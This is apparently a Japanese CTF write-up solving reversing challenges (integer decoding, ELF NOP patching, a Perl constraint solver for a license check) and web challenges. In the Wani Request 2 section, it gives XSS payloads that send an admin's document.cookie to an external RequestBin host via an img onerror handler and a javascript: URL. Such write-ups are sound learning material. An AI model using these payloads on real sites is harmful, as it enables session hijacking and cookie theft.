main.sには怪しい大きな整数が4個書かれていたので、
とりあえず16進数に変換してみると、文字列のデータっぽいことがわかった。
これを文字列に変換して繋げるとflagっぽい文字列が得られ、これを送信すると正解になった。

libprint.soはノーチェックだったが、どうやら余計なことはしていなかったようだ。
問題文には

今残っているファイルだけで実行して頂けますか?

とあるが、実行するメリットは全く無さそうだったし、

reverse engineeringすれば、実行しなくても中身は分かるみたいです。

とあるが、別に中身が分からなくてもよかった。
最初からソースコードが与えられ、逆アセンブルの要求すら無かった。

solve.py
solve.py
data = [
	7941081424088616006,
	7311705455698409823,
	3560223458505028963,
	35295634984951667
]

res = ""

for e in data:
	for i in range(8):
		c = (e >> (8 * i)) & 0xff
		if 0x20 <= c and c < 0x7f:
			res += chr(c)

print(res)
FLAG{c4n_y0u_execu4e_th1s_fi1e}

timer

ELFファイルtimerが与えられた。
問題文によると、

super_complex_flag_print_function 関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...

とのことらしい。

GDBを使って動的解析してみるのはいかがでしょうか?

ともあるが、それには及ばないわ。

TDM-GCCのobjdumpで逆アセンブルをすると、main関数では
super_complex_flag_print_function関数の前に2個の関数を呼んでいることがわかる。
そこで、この2個の関数を呼ぶ場所をNOPで埋める。
すなわち、[0x14f7, 0x1501)のバイトをバイナリエディタで全て0x90に書き換える。
なお、このELFファイルは、ダンプ上のアドレスとファイル中の位置が一致する親切設計のようである。

00000000000014ef <main>:
    14ef:	f3 0f 1e fa          	endbr64 
    14f3:	55                   	push   %rbp
    14f4:	48 89 e5             	mov    %rsp,%rbp
    14f7:	e8 1e ff ff ff       	callq  141a <show_description>
    14fc:	e8 9c ff ff ff       	callq  149d <timer>
    1501:	e8 6a fc ff ff       	callq  1170 <super_complex_flag_print_function>
    1506:	b8 00 00 00 00       	mov    $0x0,%eax
    150b:	5d                   	pop    %rbp
    150c:	c3                   	retq   
    150d:	0f 1f 00             	nopl   (%rax)

書き換えたバイナリをCS50 IDEにアップロードして実行すると、flagが出力された。

FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}

licence

ELFファイルlicenceと、ダミーのテキストが入ったファイルkey.datが与えられた。

TDM-GCCのobjdumpで逆アセンブルして見ると、check関数が0を返すことが認証されることの必要条件のようである。
check関数をよく観察すると、

    137a:	48 8b 45 f8          	mov    -0x8(%rbp),%rax
    137e:	48 83 c0 02          	add    $0x2,%rax
    1382:	0f b6 00             	movzbl (%rax),%eax
    1385:	0f be d0             	movsbl %al,%edx
    1388:	48 8b 45 f8          	mov    -0x8(%rbp),%rax
    138c:	48 83 c0 1c          	add    $0x1c,%rax
    1390:	0f b6 00             	movzbl (%rax),%eax
    1393:	0f be c0             	movsbl %al,%eax
    1396:	29 c2                	sub    %eax,%edx
    1398:	89 d0                	mov    %edx,%eax
    139a:	83 f8 11             	cmp    $0x11,%eax
    139d:	75 0a                	jne    13a9 <check+0x1c0>
    139f:	b8 01 00 00 00       	mov    $0x1,%eax
    13a4:	e9 05 49 00 00       	jmpq   5cae <check+0x4ac5>

のような形で、文字列中の2個の要素を演算し、
その結果の値によってjne命令で先に進んだり進まなかったりする構造が連続していることがわかった。
さらによく見ると、この例はjne命令で飛ぶ(値が一致しない)べきパターンだが、
飛ばない(値が一致する)べきjne命令もあることがわかった。

そこで、以下のプログラムを用い、逆アセンブル結果から

  • 飛び元(jne命令の)アドレス
  • 演算する要素1の位置
  • 演算する要素2の位置
  • 演算の種類
  • 演算結果と比較する値
  • 値が一致しないときの飛び先アドレス

を抽出した。

get_conds.pl
get_conds.pl
#!/usr/bin/perl

use strict;
use warnings;

my $first_add = "";
my $second_add = "";
my $op = "";
my $value = "";

my $prev_inst = "";

my $cnt = 1;
while (my $line = <STDIN>) {
	chomp($line);
	my @sp = split(/\t/, $line);
	if (@sp == 3) {
		my $inst = $sp[2];
		if ($inst =~ /^add    \$(.*),\%rax$/) {
			if ($first_add eq "") { $first_add = $1; }
			elsif ($second_add eq "") { $second_add = $1; }
			else { warn "many add at line $line\n"; }
		} elsif ($inst =~ /^cmp / && $prev_inst =~ /^([^ ]*) /) {
			$op = $1;
			if ($inst =~ /^cmp    \$(.*),/) { $value = $1; }
		} elsif ($inst =~ /^jne    ([^ ]+) /) {
			my $addr_to = $1;
			my $addr = "";
			if ($sp[0] =~ /^ *([^ ]*):$/) { $addr = $1; }
			if ($second_add eq "") {
				warn "insufficient add at line $cnt addr $addr\n";
			}
			if ($op eq "" || $value eq "") {
				warn "cmp not found at line $cnt addr $addr\n";
			}
			print "$addr\t$first_add\t$second_add\t$op\t$value\t$addr_to\n";
			$first_add = "";
			$second_add = "";
			$op = "";
			$value = "";
		}
		if ($inst !~ /^mov/) { $prev_inst = $inst; }
	}
	$cnt++;
}

このプログラムは特殊なパターン、例えば

  • 演算をする要素の位置が0なので、add命令が入っていない
  • 演算をしてからcmp命令を使うのではなく、要素の値をcmp命令で直接比較している
  • 2個の要素を演算するのではなく、1個の要素と即値を比較している

というパターンに対応できないため、出力された警告を見ながら手動で補った。
その結果が以下である。

conds-hosei.txt
conds-hosei.txt
120b	0	0xb	xor	0x7e	1217
1236	0	0x2d	add	0x80	1242
1261	0	0x1c	sub	0x18	126d
1276	0	0	or	0x46	5c35
129f	0x1	0xd	sub	0x1a	12ab
12ce	0x1	0x12	sub	0x21	12da
12f4	0x1	0x11	xor	0x34	1300
131f	0x1	0	sub	0x6	5baa
1348	0x2	0x9	sub	0xffffffe4	1354
136e	0x2	0x24	xor	0x72	137a
139d	0x2	0x1c	sub	0x11	13a9
13c3	0x2	0x1	xor	0xd	5b42
13ec	0x3	0x2b	add	0xc2	13f8
141b	0x3	0x11	sub	0xffffffd8	1427
144a	0x3	0x18	sub	0x1a	1456
1470	0x3	0x2	xor	0x6	5aab
1499	0x4	0x2a	sub	0x1a	14a5
14bf	0x4	0x16	xor	0x49	14cb
14ee	0x4	0x3	add	0xc6	14fa
1514	0x4	0x3	xor	0x3c	5a26
153b	0x5	0x7	add	0x6c	1547
155d	0x5	0	xor	0x7a	1569
1581	0x5	0x3b	xor	0	158d
15a7	0x5	0x4	xor	0x4f	59a1
15c7	0x6	0x1c	xor	0x5c	15d3
15f6	0x6	0x1b	sub	0x3	1602
161c	0x6	0x5	xor	0x5a	5913
1645	0x7	0x1	sub	0xffffffee	1651
1674	0x7	0x1f	add	0xb0	1680
169a	0x7	0x13	xor	0x41	16a6
16c9	0x7	0x6	sub	0xffffffc8	588b
16f2	0x8	0x20	sub	0x6	16fe
1718	0x8	0x32	xor	0xa	1724
1747	0x8	0xa	sub	0x4b	1753
176d	0x8	0x7	xor	0x44	57f4
178d	0x9	0x24	xor	0x67	1799
17bc	0x9	0x36	add	0x9b	17c8
17e2	0x9	0xf	xor	0x68	17ee
1811	0x9	0x8	sub	0xffffffed	5766
183a	0xa	0x2	sub	0xfffffff9	1846
1867	0xa	0x22	add	0x6b	1873
188d	0xa	0x9	xor	0x6e	56e1
18b0	0xb	0	add	0x7e	18bc
18df	0xb	0x32	sub	0xffffffc9	18eb
190e	0xb	0x23	add	0xa2	191a
193b	0xb	0xa	add	0x66	564a
195b	0xc	0x39	xor	0x3c	1967
198a	0xc	0x17	add	0xda	1996
19b9	0xc	0xb	add	0x94	55b3
19d9	0xd	0x27	xor	0x2	19e5
19ff	0xd	0x2c	xor	0xc	1a0b
1a2c	0xd	0x3b	add	0x6c	1a38
1a5b	0xd	0xc	sub	0xffffffd5	5525
1a84	0xe	0xf	sub	0x2f	1a90
1ab3	0xe	0x3b	sub	0x33	1abf
1ad9	0xe	0x2d	xor	0x64	1ae5
1aff	0xe	0xd	xor	0x6b	548e
1b1f	0xf	0x31	xor	0x2	1b2b
1b45	0xf	0x27	xor	0xd	1b51
1b6b	0xf	0x2f	xor	0x41	1b77
1b91	0xf	0xe	xor	0x6a	53f9
1bba	0x10	0x26	add	0xda	1bc6
1be9	0x10	0x20	add	0xe7	1bf5
1c18	0x10	0x3b	add	0xa6	1c24
1c3e	0x10	0xf	xor	0x40	5362
1c5e	0x11	0xb	xor	0x4d	1c6a
1c8d	0x11	0x13	sub	0xffffffff	1c99
1cbc	0x11	0x3c	add	0xa2	1cc8
1ceb	0x11	0x10	add	0xe5	52cb
1d0b	0x12	0x36	xor	0x5	1d17
1d3a	0x12	0x4	sub	0xffffffc0	1d46
1d60	0x12	0x9	xor	0x57	1d6c
1d8f	0x12	0x11	sub	0xffffffc3	523f
1db8	0x13	0x38	add	0xb1	1dc4
1dde	0x13	0x6	xor	0x1d	1dea
1e0d	0x13	0xb	add	0xa8	1e19
1e33	0x13	0x12	xor	0x41	51b1
1e5c	0x14	0x2	sub	0x20	1e68
1e8b	0x14	0x18	add	0x9b	1e97
1eb1	0x14	0x2a	xor	0x33	1ebd
1ed7	0x14	0x13	xor	0x2d	5123
1f00	0x15	0x9	sub	0x17	1f0c
1f2f	0x15	0x17	add	0xec	1f3b
1f5e	0x15	0x2f	sub	0x8	1f6a
1f84	0x15	0x14	xor	0x2f	508c
1fab	0x16	0x33	add	0x6c	1fb7
1fd8	0x16	0x3	add	0x79	1fe4
1ffe	0x16	0x15	xor	0x40	4ff7
2027	0x17	0x2e	add	0xaf	2033
2056	0x17	0x2b	add	0xed	2062
2085	0x17	0x11	sub	0x11	2091
20b4	0x17	0x16	add	0xa7	4f98
20db	0x18	0x37	add	0x6d	20e7
2101	0x18	0x3e	xor	0x4d	210d
2130	0x18	0x2c	sub	0x1	213c
2156	0x18	0x17	xor	0x44	4f13
217f	0x19	0x35	sub	0xfffffffa	218b
21a5	0x19	0x5	xor	0x4f	21b1
21d4	0x19	0x22	add	0xa6	21e0
2203	0x19	0x18	add	0xa5	4e97
2228	0x1a	0	sub	0x27	2234
2257	0x1a	0xe	sub	0x8	2263
2286	0x1a	0x19	sub	0xfffffff4	4e09
22af	0x1b	0x33	add	0xaf	22bb
22de	0x1b	0x21	add	0xe0	22ea
2304	0x1b	0x1d	xor	0x15	2310
2333	0x1b	0x1a	add	0xdb	4d72
235c	0x1c	0x20	add	0xa1	2368
238b	0x1c	0x35	sub	0xffffffbb	2397
23b1	0x1c	0x14	xor	0x55	23bd
23e0	0x1c	0x1b	add	0xa6	4cef
2400	0x1d	0x32	xor	0x2f	240c
242f	0x1d	0x34	sub	0xfffffffc	243b
2455	0x1d	0x8	xor	0x25	2461
2484	0x1d	0x1c	add	0x90	4c61
24a4	0x1e	0x27	xor	0xf	24b0
24ca	0x1e	0x2	xor	0x71	24d6
24f0	0x1e	0x23	xor	0x58	24fc
251f	0x1e	0x1d	sub	0xffffffd6	4bd5
253f	0x1f	0x14	xor	0x1d	254b
256e	0x1f	0x37	add	0xac	257a
259d	0x1f	0x20	sub	0x15	25a9
25cc	0x1f	0x1e	sub	0x44	4b47
25f5	0x20	0x37	add	0xa1	2601
261b	0x20	0x3a	xor	0x55	2627
264a	0x20	0x8	add	0xe6	2656
2679	0x20	0x1f	sub	0xfffffff4	4ac2
26a2	0x21	0x29	sub	0x36	26ae
26d1	0x21	0x11	add	0xd9	26dd
26fc	0x21	0	sub	0x23	2708
272b	0x21	0x20	sub	0xfffffff5	4a2b
2754	0x22	0x30	sub	0xffffffd6	2760
2783	0x22	0x6	sub	0xffffffc9	278f
27b2	0x22	0x16	sub	0x5	27be
27e1	0x22	0x21	add	0x92	49a6
2801	0x23	0x3d	xor	0x1d	280d
2830	0x23	0x19	add	0xe5	283c
285f	0x23	0x2b	add	0xea	286b
288e	0x23	0x22	sub	0x3c	4921
28ae	0x24	0x18	xor	0xa	28ba
28dd	0x24	0x1a	add	0x9e	28e9
2903	0x24	0xc	xor	0x54	290f
2932	0x24	0x23	sub	0xffffffc5	488a
2952	0x25	0x28	xor	0x1f	295e
2981	0x25	0x23	sub	0xfffffff8	298d
29a7	0x25	0x13	xor	0x16	29b3
29d6	0x25	0x24	sub	0x32	4851
29ff	0x26	0x18	add	0x99	2a0b
2a2e	0x26	0x12	add	0x93	2a3a
2a5d	0x26	0x13	add	0xd2	2a69
2a83	0x26	0x25	xor	0x3c	47ba
2aa3	0x27	0x21	xor	0x5a	2aaf
2ac9	0x27	0x3c	xor	0x2	2ad5
2af8	0x27	0x23	sub	0xffffffd0	2b04
2b27	0x27	0x26	add	0x92	472c
2b50	0x28	0x3c	add	0xaf	2b5c
2b7f	0x28	0x2f	add	0xef	2b8b
2bae	0x28	0x3e	sub	0x2	2bba
2bd4	0x28	0x27	xor	0x4b	46b0
2bf4	0x29	0x1e	xor	0xf	2c00
2c21	0x29	0x3b	add	0x65	2c2d
2c4e	0x29	0x2e	add	0x6d	2c5a
2c7d	0x29	0x28	add	0xab	461d
2ca6	0x2a	0x28	add	0xde	2cb2
2cd5	0x2a	0x2e	sub	0x3c	2ce1
2d04	0x2a	0xd	sub	0x38	2d10
2d2a	0x2a	0x29	xor	0x50	4598
2d4a	0x2b	0x30	xor	0x1c	2d56
2d70	0x2b	0x4	xor	0x8	2d7c
2d9f	0x2b	0x30	sub	0x1a	2dab
2dce	0x2b	0x2a	sub	0x12	4501
2df7	0x2c	0x1b	sub	0xffffffc9	2e03
2e24	0x2c	0x31	add	0x73	2e30
2e53	0x2c	0x1f	add	0xb2	2e5f
2e79	0x2c	0x2b	xor	0x42	447c
2ea2	0x2d	0xa	sub	0x4	2eae
2ed1	0x2d	0x2b	sub	0xffffffbe	2edd
2efe	0x2d	0x3f	add	0x3d	2f0a
2f24	0x2d	0x2c	xor	0x6	43ee
2f4b	0x2e	0x16	add	0x67	2f57
2f71	0x2e	0x2d	xor	0x1	436b
2f91	0x2f	0x31	xor	0x56	2f9d
2fc0	0x2f	0x5	sub	0x44	2fcc
2fef	0x2f	0x2b	add	0xed	2ffb
301e	0x2f	0x2e	add	0x9e	430c
303e	0x30	0x23	xor	0x30	304a
306d	0x30	0xb	add	0x9b	3079
3093	0x30	0x2f	xor	0x31	4275
30bc	0x31	0x17	add	0xb2	30c8
30eb	0x31	0x13	add	0xa7	30f7
311a	0x31	0x1c	sub	0x6	3126
3140	0x31	0x30	xor	0x6b	41e9
3169	0x32	0x9	add	0xce	3175
3198	0x32	0x8	sub	0x4	31a4
31c7	0x32	0x16	sub	0x48	31d3
31f6	0x32	0x31	sub	0x3a	415b
3216	0x33	0x3c	xor	0xd	3222
323c	0x33	0x11	xor	0x42	3248
3262	0x33	0xc	xor	0x55	326e
3291	0x33	0x32	sub	0xffffffc6	40fc
32ba	0x34	0x1c	add	0xa4	32c6
32e9	0x34	0xb	sub	0x39	32f5
330f	0x34	0x2d	xor	0x5f	331b
333e	0x34	0x33	add	0xa0	4065
3367	0x35	0x13	sub	0x11	3373
338d	0x35	0x14	xor	0x1a	3399
33bc	0x35	0x1b	sub	0x6	33c8
33eb	0x35	0x34	sub	0xd	3fce
3409	0x36	0x5	xor	0	3415
342f	0x36	0x12	xor	0x2	343b
3455	0x36	0x35	xor	0x4c	3f4b
347c	0x37	0x3c	add	0x6a	3488
34a9	0x37	0x27	add	0x6e	34b5
34d8	0x37	0x4	sub	0xffffffba	34e4
3507	0x37	0x36	sub	0xfffffffc	3ebd
3530	0x38	0x33	sub	0xb	353c
3556	0x38	0x2	xor	0x7d	3562
3585	0x38	0x2e	sub	0x8	3591
35b2	0x38	0x37	add	0x66	3e2f
35d2	0x39	0x2f	xor	0x27	35de
3601	0x39	0x3c	sub	0x36	360d
3630	0x39	0x34	add	0xd3	363c
365f	0x39	0x38	add	0x94	3da1
367f	0x3a	0x12	xor	0xa	368b
36ae	0x3a	0x9	sub	0xffffffda	36ba
36dd	0x3a	0x11	add	0xa9	36e9
370c	0x3a	0x39	sub	0xffffffd8	3d15
3735	0x3b	0x2a	sub	0xffffffd7	3741
3762	0x3b	0x3c	add	0x66	376e
3788	0x3b	0x2f	xor	0x48	3794
37b7	0x3b	0x3a	sub	0xfffffff9	3c99
37d7	0x3c	0x11	xor	0x4a	37e3
3804	0x3c	0x33	add	0x65	3810
382a	0x3c	0xe	xor	0x59	3836
384e	0x3c	0x3b	xor	0	3c02
3877	0x3d	0x3f	sub	0x6a	3883
38a6	0x3d	0x1a	add	0xd6	38b2
38cc	0x3d	0x15	xor	0x19	38d8
38fb	0x3d	0x3c	add	0x9c	3b7d
3924	0x3e	0x5	sub	0x50	3930
3953	0x3e	0x19	add	0xf7	395f
3982	0x3e	0x31	add	0xba	398e
39b1	0x3e	0x3d	sub	0x11	3af8
39d1	0x3f	0x2b	xor	0x75	39dd
3a00	0x3f	0x10	add	0x85	3a0c
3a2f	0x3f	0x6	add	0x80	3a3b
3a5e	0x3f	0x3e	add	0x87	3a6a
3a8d	0x3f	0x9	sub	0xffffffb1	3a99
3ab3	0x3f	0x21	xor	0x6e	3abf
3ae2	0x3f	0x26	sub	0xffffffae	3aee
3b12	0x3e	0x13	xor	0x6	3b1e
3b38	0x3e	0x36	xor	0x4a	3b44
3b67	0x3e	0x3b	add	0xb1	3b73
3ba0	0x3d	0xe	sub	0x16	3bac
3bc6	0x3d	0x35	xor	0x13	3bd2
3bec	0x3d	0x36	xor	0x52	3bf8
3c25	0x3c	0x1b	add	0xa9	3c31
3c54	0x3c	0x3b	sub	0x5	3c60
3c83	0x3c	0x34	sub	0xffffffc9	3c8f
3cb3	0x3b	0x7	xor	0xb	3cbf
3cd9	0x3b	0x1	xor	0x64	3ce5
3cff	0x3b	0x2c	xor	0xf	3d0b
3d36	0x3a	0x29	add	0x70	3d42
3d65	0x3a	0x15	sub	0xffffffd1	3d71
3d8b	0x3a	0x32	xor	0x45	3d97
3dbb	0x39	0x25	xor	0x33	3dc7
3dea	0x39	0x30	add	0xc6	3df6
3e19	0x39	0x38	add	0x9e	3e25
3e52	0x38	0x20	add	0xa3	3e5e
3e78	0x38	0x6	xor	0x40	3e84
3ea7	0x38	0x26	add	0x9b	3eb3
3ee0	0x37	0x2c	sub	0x1	3eec
3f0f	0x37	0xc	add	0x94	3f1b
3f35	0x37	0x29	xor	0xd	3f41
3f65	0x36	0x35	xor	0x4e	3f71
3f94	0x36	0x22	sub	0xd	3fa0
3fb8	0x36	0x3a	xor	0	3fc4
3ff1	0x35	0xe	sub	0x1d	3ffd
4020	0x35	0x1e	add	0xb4	402c
404f	0x35	0xb	sub	0x49	405b
4088	0x34	0x26	add	0xcd	4094
40b7	0x34	0x37	add	0xa3	40c3
40e6	0x34	0x1b	add	0xe6	40f2
4116	0x33	0x1	xor	0x60	4122
4145	0x33	0x20	sub	0xffffffce	4151
417e	0x32	0xb	sub	0x3d	418a
41ad	0x32	0x3	add	0xba	41b9
41d3	0x32	0x28	xor	0x11	41df
4203	0x31	0xa	xor	0xe	420f
4232	0x31	0x23	add	0xa2	423e
425f	0x31	0x7	add	0x6d	426b
4298	0x30	0x2d	add	0x99	42a4
42c7	0x30	0x31	add	0x98	42d3
42f6	0x30	0x13	add	0xd8	4302
432f	0x2f	0x26	add	0xd1	433b
4355	0x2f	0x9	xor	0xd	4361
4385	0x2e	0x20	xor	0x40	4391
43b2	0x2e	0xd	add	0x6c	43be
43d8	0x2e	0x2f	xor	0x45	43e4
4408	0x2d	0x1a	xor	0x5e	4414
4437	0x2d	0x1d	add	0x95	4443
4466	0x2d	0x3a	sub	0x1	4472
4496	0x2c	0xe	xor	0x50	44a2
44bc	0x2c	0x16	xor	0x5	44c8
44eb	0x2c	0x30	add	0x9d	44f7
4524	0x2b	0x37	add	0xac	4530
4553	0x2b	0x11	add	0xed	455f
4582	0x2b	0x2d	sub	0x4d	458e
45b2	0x2a	0x2	xor	0x2b	45be
45d8	0x2a	0x3f	xor	0x6e	45e4
4607	0x2a	0x27	sub	0x36	4613
463e	0x29	0x38	add	0x6c	464a
466b	0x29	0x27	add	0x69	4677
469a	0x29	0x10	sub	0xffffffc3	46a6
46ca	0x28	0x2e	xor	0x4d	46d6
46f0	0x28	0x37	xor	0x43	46fc
4716	0x28	0x12	xor	0x42	4722
4746	0x27	0x12	xor	0xb	4752
4775	0x27	0x34	add	0xa7	4781
47a4	0x27	0x2a	add	0x98	47b0
47dd	0x26	0x22	sub	0x38	47e9
480c	0x26	0x1f	sub	0xffffffe7	4818
483b	0x26	0x2b	sub	0xffffffec	4847
4874	0x25	0x6	add	0xd9	4880
48ad	0x24	0x15	add	0xa2	48b9
48dc	0x24	0x1a	sub	0xffffffd2	48e8
490b	0x24	0x9	add	0x9a	4917
493b	0x23	0x2b	xor	0x17	4947
4961	0x23	0x36	xor	0x50	496d
4990	0x23	0x30	sub	0x17	499c
49c9	0x22	0x30	sub	0xffffffda	49d5
49ef	0x22	0x3b	xor	0x3	49fb
4a15	0x22	0x19	xor	0x48	4a21
4a4e	0x21	0x11	add	0xdc	4a5a
4a7d	0x21	0x15	add	0xd7	4a89
4aac	0x21	0x17	add	0xe0	4ab8
4adc	0x20	0x31	xor	0x53	4ae8
4b0b	0x20	0x17	add	0xea	4b17
4b31	0x20	0xd	xor	0x55	4b3d
4b61	0x1f	0x32	xor	0xe	4b6d
4b90	0x1f	0x28	add	0xf8	4b9c
4bbf	0x1f	0x21	add	0xe1	4bcb
4bf6	0x1e	0x27	add	0x69	4c02
4c1c	0x1e	0x8	xor	0x40	4c28
4c4b	0x1e	0x25	sub	0xffffffd7	4c57
4c7b	0x1d	0x15	xor	0x29	4c87
4caa	0x1d	0x23	add	0xd4	4cb6
4cd9	0x1d	0xb	sub	0x31	4ce5
4d09	0x1c	0x16	xor	0x8	4d15
4d2f	0x1c	0x16	xor	0x9	4d3b
4d5c	0x1c	0x2c	add	0x71	4d68
4d95	0x1b	0x3d	sub	0xe	4da1
4dc4	0x1b	0x2	add	0xbf	4dd0
4df3	0x1b	0x3e	add	0xfc	4dff
4e23	0x1a	0x3c	xor	0x53	4e2f
4e52	0x1a	0x33	sub	0x34	4e5e
4e81	0x1a	0x24	sub	0x37	4e8d
4eb1	0x19	0x1	xor	0x23	4ebd
4ed7	0x19	0x4	xor	0xc	4ee3
4efd	0x19	0x1f	xor	0x9	4f09
4f2d	0x18	0x7	xor	0x9	4f39
4f53	0x18	0x12	xor	0x4	4f5f
4f82	0x18	0x14	sub	0xffffffd5	4f8e
4fbb	0x17	0x1d	sub	0x22	4fc7
4fe1	0x17	0x25	xor	0x1e	4fed
501a	0x16	0x11	add	0xa5	5026
5047	0x16	0x31	add	0x65	5053
5076	0x16	0x17	add	0xad	5082
50af	0x15	0x12	sub	0x44	50bb
50de	0x15	0x1e	add	0xad	50ea
510d	0x15	0x1d	sub	0x12	5119
5146	0x14	0x1e	sub	0x34	5152
5175	0x14	0x9	add	0xbf	5181
519b	0x14	0x2d	xor	0x6a	51a7
51d4	0x13	0x5	sub	0x42	51e0
5203	0x13	0x1c	sub	0x48	520f
5229	0x13	0xf	xor	0x4a	5235
5259	0x12	0x6	xor	0x5c	5265
5288	0x12	0x23	sub	0xffffffcf	5294
52b5	0x12	0xd	add	0x6e	52c1
52ee	0x11	0x3c	sub	0x41	52fa
531d	0x11	0x7	sub	0x3f	5329
534c	0x11	0x17	add	0xea	5358
5385	0x10	0x1	add	0xc5	5391
53b4	0x10	0x15	add	0xeb	53c0
53e3	0x10	0x1e	sub	0x41	53ef
541a	0xf	0x29	add	0x69	5426
5449	0xf	0x17	add	0xb5	5455
5478	0xf	0x33	sub	0x3	5484
54b1	0xe	0x31	sub	0x34	54bd
54e0	0xe	0x3d	add	0xcc	54ec
550f	0xe	0x17	add	0xd8	551b
553f	0xd	0x3a	xor	0xd	554b
556e	0xd	0x32	sub	0xffffffc9	557a
559d	0xd	0x23	sub	0xffffffc9	55a9
55d6	0xc	0x32	add	0xcf	55e2
5605	0xc	0x27	add	0x95	5611
5634	0xc	0xe	sub	0x4	5640
566d	0xb	0x23	sub	0xffffffd3	5679
569c	0xb	0x16	sub	0xa	56a8
56cb	0xb	0x15	sub	0xffffffce	56d7
5704	0xa	0x3d	sub	0xffffffcd	5710
572a	0xa	0x31	xor	0xc	5736
5750	0xa	0x21	xor	0x5a	575c
5789	0x9	0xb	sub	0x32	5795
57af	0x9	0x1a	xor	0x33	57bb
57de	0x9	0x2b	sub	0xffffffed	57ea
5817	0x8	0x35	add	0xf4	5823
5846	0x8	0x3f	add	0x86	5852
5875	0x8	0x2a	sub	0x15	5881
58ac	0x7	0xb	add	0x6e	58b8
58d9	0x7	0x5	add	0x72	58e5
58fd	0x7	0x3b	xor	0	5909
592d	0x6	0x38	xor	0x58	5939
595c	0x6	0x2a	sub	0x11	5968
598b	0x6	0x10	add	0xeb	5997
59bb	0x5	0x1c	xor	0xf	59c7
59ea	0x5	0x17	sub	0xffffffbf	59f6
5a10	0x5	0x1c	xor	0xe	5a1c
5a40	0x4	0x2a	xor	0x11	5a4c
5a66	0x4	0x18	xor	0x41	5a72
5a95	0x4	0x5	sub	0x4f	5aa1
5ace	0x3	0xc	add	0xab	5ada
5afd	0x3	0x11	sub	0xffffffda	5b09
5b2c	0x3	0x1d	sub	0xffffffef	5b38
5b65	0x2	0x32	add	0xb8	5b71
5b94	0x2	0x6	add	0xb7	5ba0
5bc4	0x1	0xd	xor	0x74	5bd0
5bf3	0x1	0x1c	sub	0x1d	5bff
5c22	0x1	0xa	sub	0x1f	5c2e
5c52	0	0x36	add	0x7d	5c5b
5c78	0	0x37	add	0x7a	5c81
5ca0	0	0x10	add	0xc3	5ca9

これに基づき、

  • それぞれのjne命令で飛ぶべきかどうかは、飛び元と飛び先の距離に基づいて簡易判定を行う
  • 「0を返す」命令がある0x3a60以降の条件は無視する
    (死を回避しながらこの命令まで一直線に実行が進めばよさそうなので)
  • 前から1文字ずつ決定し、決定している文字についての条件のみチェックする

というプログラムを用いることで、flagを求めることができた。

solve.pl
solve.pl
#!/usr/bin/perl

use strict;
use warnings;

my @conds = ();

sub int2 {
	my $num = $_[0];
	if (substr($num, 0, 2) eq "0x") {
		return hex(substr($num, 2));
	} else {
		return int($num);
	}
}

while (my $line = <STDIN>) {
	chomp($line);
	my @data = split(/\t/, $line);
	if (@data >= 6) {
		my $addr = hex($data[0]);
		my $a = &int2($data[1]);
		my $b = &int2($data[2]);
		my $c = $data[3];
		my $d = &int2($data[4]);
		my $addr_to = hex($data[5]);
		if ($d >= 0x100) {
			$d = -((~$d + 1) & 0xff);
		}
		if ($addr <= 0x3a60) {
			my $obey = ($addr_to == $addr + 12 ? 0 : 1);
			push(@conds, "$a\t$b\t$c\t$d\t$obey");
		}
	}
}

my $ans ="";

for (my $i = 0; $i <= 0x3f; $i++) {
	my $found = 0;
	my $hit = -1;
	for (my $j = 0; $j < 0x80; $j++) {
		my $candidate = $ans . chr($j);
		my $ok = 1;
		for (my $k = 0; $k < @conds; $k++) {
			my ($a, $b, $c, $d, $e) = split(/\t/, $conds[$k]);
			if ($a <= $i && $b <= $i) {
				my $aa = ord(substr($candidate, $a, 1));
				my $bb = ord(substr($candidate, $b, 1));
				my $res = 0xdeadbeef;
				if ($c eq "add") { $res = $aa + $bb; }
				elsif ($c eq "xor") { $res = $aa ^ $bb; }
				elsif ($c eq "sub") { $res = $aa - $bb; }
				elsif ($c eq "or") { $res = $aa | $bb; }
				else { die "unknown op: $c\n"; }
				if ($e ? $res != $d : $res == $d) {
					$ok = 0;
					last;
				}
			}
		}
		if ($ok) {
			print "$i -> $j\n";
			$hit = $j;
			$found++;
		}
	}
	if ($found == 0) {
		print "no hit!\n";
		print "$ans\n";
		exit 1;
	} elsif ($found > 1) {
		print "multiple hit!\n";
		print "$ans\n";
		exit 1;
	}
	$ans .= chr($hit);
}

print "$ans\n";
FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}

Web

fake

ボタンのようなものが大量にあるWebページへのリンクが与えられた。

ページのソースを表示すると、aタグが1個あったので、リンク先に行くとflagが書かれていた。

FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}

Wani Request 1

RequestBinを使ってみよう!!

とのことである。
書かれている通り、指定のWebページにRequestBinのリクエスト送信用URLを入れて送信すると、
リクエストが来て、RefererにURLが書かれている。
そのURLからパラメータを外してWebブラウザでアクセスすると、flagが表示された。

FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}

exception

WebページのURLと、そこで動いていると考えられるPythonのソースコードhello.pyが与えられた。

hello.pyを見ると、入力のデータと文字列を+演算子で結合しているため、
数値を入力できれば例外を発生させることができ、それによってflagが出力される可能性がある。

Webページのフォームに100と入力して送信し、Firefoxの開発者ツールでリクエストを見ると、要求ペイロードとして

{"name":"100"}

を送信していた。そこで、これを

{"name":100}

に「編集して再送信」することで、flagを得ることができた。

FLAG{b4d_excep7ion_handl1ng}

Wani Request 2

WebページのURLと、
そこで動いているプログラムのソースコードと考えられるPage1.vueおよびPage2.vueが与えられた。
Page1とPage2の両方から「あどみんちゃんのクッキー」を得ればよいようである。

Page1は、URL中のパラメータの内容がHTMLにノーガードで埋め込まれ、
「あどみんちゃん」にアクセスしてもらうURLのパラメータを入力できる。

<img+src%3D"x"+id%3D"nyan"><img+src%3D"x"+onerror%3D"document.getElementById('nyan').src%3D'https%3A%2F%2F*************.x.pipedream.net%2F%3F'%2Bdocument.cookie%3B">

を入力して送信することで、RequestBinにクッキーの内容が入ったリクエストをもらうことができた。
ただし、*************にはRequestBinのリクエスト用URLの残りの部分が入る。

Page2は、「あどみんちゃん」にクリックしてもらうURLを指定できる。
ここでPage1のURLを指定しても、うまくいかなかった。
「URL」としか言っておらず、プロトコルは指定されていないことに注目し、

javascript:document.write("<img src='https://*************.x.pipedream.net/?"+document.cookie+"'>");

を入力して送信することで、RequestBinにクッキーの内容が入ったリクエストをもらうことができた。
ただし、*************にはRequestBinのリクエスト用URLの残りの部分が入る。

得られたクッキーの内容を合わせることで、flagが得られた。

